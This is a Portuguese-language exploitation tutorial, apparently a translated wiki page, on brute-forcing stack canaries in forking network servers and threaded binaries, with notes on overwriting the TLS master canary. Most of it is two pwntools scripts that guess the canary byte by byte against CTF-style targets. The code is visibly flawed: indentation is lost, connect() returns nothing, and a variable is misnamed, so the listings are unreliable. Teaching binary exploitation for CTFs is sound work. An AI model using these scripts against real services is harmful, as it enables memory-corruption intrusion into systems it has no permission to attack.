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BF Forked & Threaded Stack Canaries

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Se você estiver lidando com um binário protegido por um canário e PIE (Position Independent Executable), provavelmente precisará encontrar uma maneira de contorná-los.

{% hint style="info" %} Observe que o checksec pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.
No entanto, você pode notar manualmente isso se encontrar que um valor é salvo na pilha no início de uma chamada de função e este valor é verificado antes de sair. {% endhint %}

Brute force no Canary

A melhor maneira de contornar um canário simples é se o binário for um programa criando processos filhos toda vez que você estabelece uma nova conexão com ele (serviço de rede), porque toda vez que você se conecta a ele o mesmo canário será usado.

Então, a melhor maneira de contornar o canário é simplesmente forçá-lo caractere por caractere, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função força bruta um canário de 8 Bytes (x64) e distingue entre um byte adivinhado correto e um byte ruim apenas verificando se uma resposta é enviada de volta pelo servidor (outra maneira em outras situações poderia ser usando um try/except):

Exemplo 1

Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Exemplo 2

Isso é implementado para 32 bits, mas poderia ser facilmente alterado para 64 bits.
Também observe que, para este exemplo, o programa espera primeiro um byte para indicar o tamanho da entrada e a carga útil.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Threads

As threads do mesmo processo também compartilharão o mesmo token canary, portanto será possível forçar a barra de um canary se o binário gerar uma nova thread sempre que um ataque ocorrer.

Além disso, um estouro de buffer em uma função com thread protegida com canary poderia ser usado para modificar o canary mestre armazenado no TLS. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS é armazenado (e, portanto, o canary) por meio de um estouro de buffer na pilha de uma thread.
Como resultado, a mitigação é inútil porque a verificação é feita com dois canaries que são iguais (embora modificados).
Este ataque é realizado no writeup: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads

Confira também a apresentação de https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 que menciona que geralmente o TLS é armazenado por mmap e quando uma pilha de thread é criada, também é gerada por mmap de acordo com isso, o que pode permitir o estouro conforme mostrado no writeup anterior.

Outros exemplos e referências

• https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
• 64 bits, sem PIE, nx, BF canary, escreva em alguma memória um ROP para chamar execve e pule para lá.